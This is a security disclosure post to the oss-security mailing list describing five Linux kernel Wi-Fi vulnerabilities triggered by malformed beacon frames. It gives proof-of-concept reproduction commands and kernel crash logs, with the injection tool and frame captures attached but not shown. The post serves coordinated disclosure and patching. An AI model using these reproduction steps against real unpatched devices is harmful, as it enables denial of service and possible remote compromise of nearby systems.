Date: Thu, 13 Oct 2022 19:13:11 +0200
From: Sönke Huster <shuster@...moo.tu-darmstadt.de>
To: Marcus Meissner <meissner@...e.de>, oss-security@...ts.openwall.com
Subject: Re: Various Linux Kernel WLAN security issues (RCE/DOS) found

Hi everyone,

In the following, I quickly introduce the PoC and briefly describe each CVE.

Please see attached:
* The PCAP files containing the Wifi frames triggering the vulnerabilities and
* inject-pcap.c to inject the Wifi frames into the 802.11 stack
* A complete log for each CVE

Thanks to Johannes Berg, who provided the inject-pcap.c script, quickly worked on all the patches and resolved the issues!

The PoC uses mac80211_hwsim to inject the frames, but the vulnerabilities are - to my knowledge - driver-independent, and we assume that they are exploitable over the air.
All the malformed frames are Beacon frames.

PoC Execution

Boot a kernel with mac80211_hwsim included or load the module.
Install libnl-3.0 libnl-genl-3.0 libpcap, which is required by the PoC, and compile it as follows:

```
cc -o inject-pcap inject-pcap.c $(pkg-config --cflags --libs  libnl-3.0 libnl-genl-3.0 libpcap)
```

Afterward, trigger a scan so that the device can receive the frame(s):

```
iw wlan0 scan trigger
```

Now, run inject-pcap with the PCAP file as argument.

CVE-2022-41674

This vulnerability was introduced in v5.1-rc1 and leads to a heap overflow. Compiled with CONFIG_SLUB_DEBUG_ON the kernel emits the following among other errors:

```
=============================================================================
BUG kmalloc-64 (Tainted: G    B             ): Left Redzone overwritten
-----------------------------------------------------------------------------

0xffff8880112b1e00-0xffff8880112b1e3f @offset=3584. First byte 0x10 instead of 0xbb
Slab 0xffffea000044ac40 objects=16 used=16 fp=0x0000000000000000
flags=0x100000000000200(slab|node=0|zone=1)
Object 0xffff8880112b1e40 @offset=3648 fp=0xffff8880112b1f40

Redzone  ffff8880112b1e00: 10 04 04 00 10 00 04 00 10 00 04 00 10 00 04 00  ................
Redzone  ffff8880112b1e10: 10 00 04 00 10 00 04 00 10 00 04 00 10 00 04 00  ................
Redzone  ffff8880112b1e20: 10 00 04 00 10 00 04 00 10 00 04 00 10 00 04 00  ................
Redzone  ffff8880112b1e30: 10 00 04 00 f0 00 04 00 10 00 04 00 10 00 04 00  ................
Object   ffff8880112b1e40: 80 00 04 00 04 00 dd 00 ff 00 60 00 ff 00 61 00  ..........`...a.
Object   ffff8880112b1e50: 85 00 e4 00 ff 0a 05 ff ff 05 c3 00 52 00 ff 00  ............R...
Object   ffff8880112b1e60: 61 04 85 00 ff 00 04 00 dd 00 e3 00 52 00 ff 00  a...........R...
Object   ffff8880112b1e70: 61 00 85 00 e4 6b 6b 6b 6b 6b 6b 6b 6b 6b a5  a....kkkkkkkkk.
Redzone  ffff8880112b1e80: bb bb bb bb bb bb bb bb                          ........
Padding  ffff8880112b1ee0: 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a  ZZZZZZZZZZZZZZZZ
Padding  ffff8880112b1ef0: 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a  ZZZZZZZZZZZZZZZZ
```

With the fix applied, the payload triggers slab-out-of-bounds. As that specific one is not considered harmful, no additional CVE is assigned, but it is fixed in "wifi: cfg80211: ensure length byte is present before access".

CVE-2022-42719

This vulnerability was introduced in v5.2-rc1.
With the patch for CVE-2022-41674 and the one mentioned prior applied, the same payload triggers use-after-frees, such as the following:
```
==================================================================
BUG: KASAN: use-after-free in ieee80211_update_bss_from_elems (net/mac80211/scan.c:104)
Read of size 1 at addr ffff88800befa00a by task ksoftirqd/1/20
```

CVE-2022-42720

This vulnerability was introduced in v5.1-rc1.
After receiving the attached frames, the kernel log looks like that:

```
==================================================================
BUG: KASAN: use-after-free in cfg80211_inform_bss_frame_data (net/wireless/scan.c:2536)
Read of size 8 at addr ffff888008d04478 by task ksoftirqd/1/20
```

Its patch fixes a root cause for at least four UAFs and other different memory issues, including:
```
BUG: KASAN: use-after-free in cmp_bss+0x856/0x920
Read of size 8 at addr ffff88801459a068 by task ksoftirqd/0/14

BUG: KASAN: use-after-free in cfg80211_inform_single_bss_data+0xe08/0xea0
Read of size 8 at addr ffff888016272c40 by task ksoftirqd/0/14

BUG: KASAN: use-after-free in cfg80211_put_bss+0x261/0x270
Read of size 8 at addr ffff8880162b4248 by task ksoftirqd/0/14

general protection fault, probably for non-canonical address 0xdfffffc0200000005: 0000 [#1] PREEMPT SMP
KASAN PTI
KASAN: probably user-memory-access in range [0x0000001000000028-0x000000100000002f]

general protection fault, probably for non-canonical address 0xdfffffc0000000001: 0000 [#1] PREEMPT SMP
KASAN PTI
KASAN: null-ptr-deref in range [0x0000000000000008-0x000000000000000f]

general protection fault, probably for non-canonical address 0xf99995999999999a: 0000 [#1] PREEMPT SMP
KASAN PTI
KASAN: maybe wild-memory-access in range [0xcccccccccccccccd0-0xcccccccccccccccd7]
```

CVE-2022-42721

This vulnerability was introduced in v5.1-rc1 and leads to an endless loop, leading to a DoS.
This is the related kernel log:

```
watchdog: BUG: soft lockup - CPU#0 stuck for 52s! [ksoftirqd/0:14]
```

CVE-2022-42722

For this, a P2P device is required. This is e.g. default behavior when running NetworkManager to the best of my knowledge.
If there is no P2P device yet, it must be created for the reproduction:

```
ip l set wlan0 up
iw wlan0 interface add p2p0 type __p2pdev addr 02:00:00:00:00:00
iw wdev 0x2 p2p start
```

Running the PoC leads to a null-ptr-dereference and thus to a DoS:
```
general protection fault, probably for non-canonical address 0xdfffffc0000000064: 0000 [#1] PREEMPT SMP
```

```
KASAN PTI
KASAN: null-ptr-deref in range [0x0000000000000320-0x0000000000000327]
```

For more details, please see the full logs for each CVE attached.

Best
Sönke from SEEMOO @ TU Darmstadt

View attachment "CVE-2022-41674-decoded.log**" of type "**text/x-log**" (5387 bytes)**

View attachment "CVE-2022-42719-decoded.log**" of type "**text/x-log**" (7840 bytes)**

View attachment "CVE-2022-42720-decoded.log**" of type "**text/x-log**" (8413 bytes)**

View attachment "CVE-2022-42721-decoded.log**" of type "**text/x-log**" (7153 bytes)**

View attachment "CVE-2022-42722-decoded.log**" of type "**text/x-log**" (7813 bytes)**

Download attachment "CVE-2022-41674.pcap**" of type "**application/vnd.tcpdump.pcap**" (1110 bytes)**

Download attachment "CVE-2022-42720.pcap**" of type "**application/vnd.tcpdump.pcap**" (1472 bytes)**

Download attachment "CVE-2022-42721.pcap**" of type "**application/vnd.tcpdump.pcap**" (1472 bytes)**

Download attachment "CVE-2022-42722.pcap**" of type "**application/vnd.tcpdump.pcap**" (94 bytes)**